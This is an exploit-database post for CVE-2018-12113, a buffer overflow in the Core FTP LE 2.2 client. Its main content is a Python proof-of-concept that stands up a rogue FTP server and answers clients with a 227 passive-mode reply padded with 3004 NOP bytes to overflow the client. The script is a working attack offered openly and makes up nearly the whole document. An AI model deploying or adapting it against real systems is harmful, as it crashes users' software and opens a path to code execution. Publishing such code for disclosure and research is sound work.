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Core FTP LE 2.2 Buffer Overflow

Core FTP LE 2.2 Buffer Overflow
Posted Jul 2, 2018
Authored by Berk Cem Goksel

Core FTP LE version 2.2 buffer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
advisories | CVE-2018-12113
SHA-256 | 67c3454254dc0a842790c199ddb5cab2c921e376d6952b501e8ec82011b8c84b

Core FTP LE 2.2 Buffer Overflow

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# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC)
# Date: 2018-06-28
# Exploit Author: Berk Cem GAPksel
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download
# Version: Core FTP Client LE v2.2 Build 1921
# Tested on: Windows 10
# Category: Dos
# CVE : CVE-2018-12113
# coding: utf-8

# Description:]
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.

#!/usr/bin/env python

import socket

IP = '0.0.0.0'
port = 21


Stack_beginning = 3004

buff = "\x90" * (3004)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((IP, port))
s.listen(20)
print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
conn, addr = s.accept()
conn.send('220 Welcome!' + '\r\n')
print conn.recv(1024)
conn.send('331 OK.\r\n')
print conn.recv(1024)
conn.send('230 OK.\r\n')
print conn.recv(1024)
conn.send('215 UNIX Type: L8\r\n')
print conn.recv(1024)
conn.send('257 "/" is current directory.\r\n')
print conn.recv(1024)
conn.send('227 Entering Passive Mode (' + buff + ')\r\n')
print conn.recv(1024)
conn.send('257' + '\r\n')


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